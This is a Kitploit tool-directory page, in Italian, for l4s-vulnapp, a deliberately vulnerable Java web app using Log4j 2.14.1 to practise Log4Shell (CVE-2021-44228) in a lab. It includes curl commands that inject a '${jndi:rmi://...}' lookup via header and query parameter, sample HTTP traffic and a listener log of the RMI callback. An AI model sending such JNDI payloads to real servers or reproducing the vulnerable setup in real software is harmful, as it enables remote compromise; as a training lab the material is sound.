Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
l4s-vulnapp — Questa è un'applicazione web Java potenzialmente vulnerabile contenente Log4j affetta da log4shell(CVE-2021-44228). | Kitploit
Strumenti/GitHubGitHub/ktokkawu/l4s-vulnapp
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubktokkawu/l4s-vulnapp

l4s-vulnapp

Questa è un'applicazione web Java potenzialmente vulnerabile contenente Log4j affetta da log4shell(CVE-2021-44228).

Vedi Repository
2 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Applicazione vulnerabile a Log4Shell(l4s-vulnapp)

Questa è un'applicazione web Java potenzialmente vulnerabile contenente Log4j(2.14.1), affetto da log4shell(CVE-2021-44228).

Ambiente verificato e versioni varie

  • AdoptOpenJDK 17.0.10+7
  • Gradle 8.6
  • Gretty 4.1.2
  • Apache Tomcat 10.1.15
  • Apache Log4j Core 2.14.1

Preparazione

  • Scarica ed estrai il file zip di AdoptOpenJDK.
  • Imposta le variabili d'ambiente PATH e JAVA_HOME.
  • Esegui il comando java --version per verificare che AdoptOpenJDK funzioni correttamente.

[Nota]
Se vuoi cambiare la versione del JDK, la porta di Tomcat, ecc., modifica build.gradle.

Compilazione ed esecuzione

Esegui il wrapper di Gradle con build.gradle.

root@kitploit:~
# on Linux
./gradlew appRun

# on Windows
.\gradlew.bat appRun

URL principale:

root@kitploit:~
http://localhost:8080/l4s-vulnapp/

[Nota]
Log4Shell si attiva solo quando l'app effettua del logging tramite Log4j.
Ad esempio, se si accede al seguente URL, Log4Shell verrà eseguito.

root@kitploit:~
http://localhost:8080/l4s-vulnapp/servlet

Puoi verificare Log4Shell alterando il valore di "x-param" oppure aggiungendo l'header "x-log" alla richiesta HTTP quando vi accedi.
Questi parametri verranno registrati da Log4j.
Tuttavia, questo è possibile solo se un server in ascolto è attivo su localhost:8081.

root@kitploit:~
curl http://localhost:8080/l4s-vulnapp/servlet -H 'x-log: ${jndi:rmi://localhost:8081/test.txt}'
curl -X GET http://localhost:8080/l4s-vulnapp/servlet?x-param=%24%7Bjndi%3Armi%3A%2F%2Flocalhost%3A8081%2Ftest.txt%7D

Risultati della verifica

  • Richiesta HTTP

    root@kitploit:~
    GET http://localhost:8080/l4s-vulnapp/servlet?x-param=%24%7Bjndi%3Armi%3A%2F%2Flocalhost%3A8081%2Ftest.txt%7D HTTP/1.1
    Host: localhost:8080
    Connection: keep-alive
    Cache-Control: max-age=0
    sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
    sec-ch-ua-mobile: ?0
    sec-ch-ua-platform: "Windows"
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)   Chrome/122.0.0.0 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/  *;q=0.8,application/signed-exchange;v=b3;q=0.7
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: navigate
    Sec-Fetch-User: ?1
    Sec-Fetch-Dest: document
    Referer: http://localhost:8080/l4s-vulnapp/
    Accept-Encoding: gzip, deflate, br, zstd
    Accept-Language: ja,en-US;q=0.9,en;q=0.8
    
    
    
  • Risposta HTTP

    root@kitploit:~
    HTTP/1.1 200
    Content-Type: text/plain;charset=utf-8
    Content-Length: 62
    Date: Fri, 15 Mar 2024 18:42:56 GMT
    Keep-Alive: timeout=60
    Connection: keep-alive
    
    Hello
    Logging to console using vulnerable Log4j2 by parameter
    
  • Richiesta RMI da l4s-vulnapp

    root@kitploit:~
    2024/03/16 03:42:46: [Start] Receive Server for Log4Shell.
    2024/03/16 03:42:46: [Note] Listening on IP: "localhost" Port: 8081
    2024/03/16 03:42:55: [Note] Requested from IP: "127.0.0.1" Port: 53282)
    2024/03/16 03:42:55: [Hex data] ===== start =====
    2024/03/16 03:42:56: 00000000   4A 52 4D 49 00 02 4B 00 00 00 00 00 00 00 00 00  JRMI..K.........
    2024/03/16 03:42:56: 00000010   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
    2024/03/16 03:42:56: [Hex data] =====  end  =====
    2024/03/16 03:42:56: [Raw data] ===== start =====
    2024/03/16 03:42:56: JRMI
    2024/03/16 03:42:56: [Raw data] =====  end  =====
    

Opzione

l4s-ls.ps1 avvia un server in ascolto; esegui questo script su Windows PowerShell/Command Prompt.
Questo server riceve comunicazioni binarie come LDAP e RMI e può visualizzarne il contenuto in Hex e Raw.
Se lo script non funziona correttamente, usa Ctrl + C per fermarlo.

[Attenzione]
Quando si esegue questo script per la prima volta, è necessario selezionare "Rete privata" nel pop-up di Windows.

root@kitploit:~
PowerShell -ExecutionPolicy RemoteSigned .\l4s-ls.ps1 -p 8081

Riferimenti

  • GitHub - tothi/log4shell-vulnerable-app
  • ももいろテクノロジー - PowerShellでnc(netcat)を書いてみる (2015/4/16)
Scarica lo strumento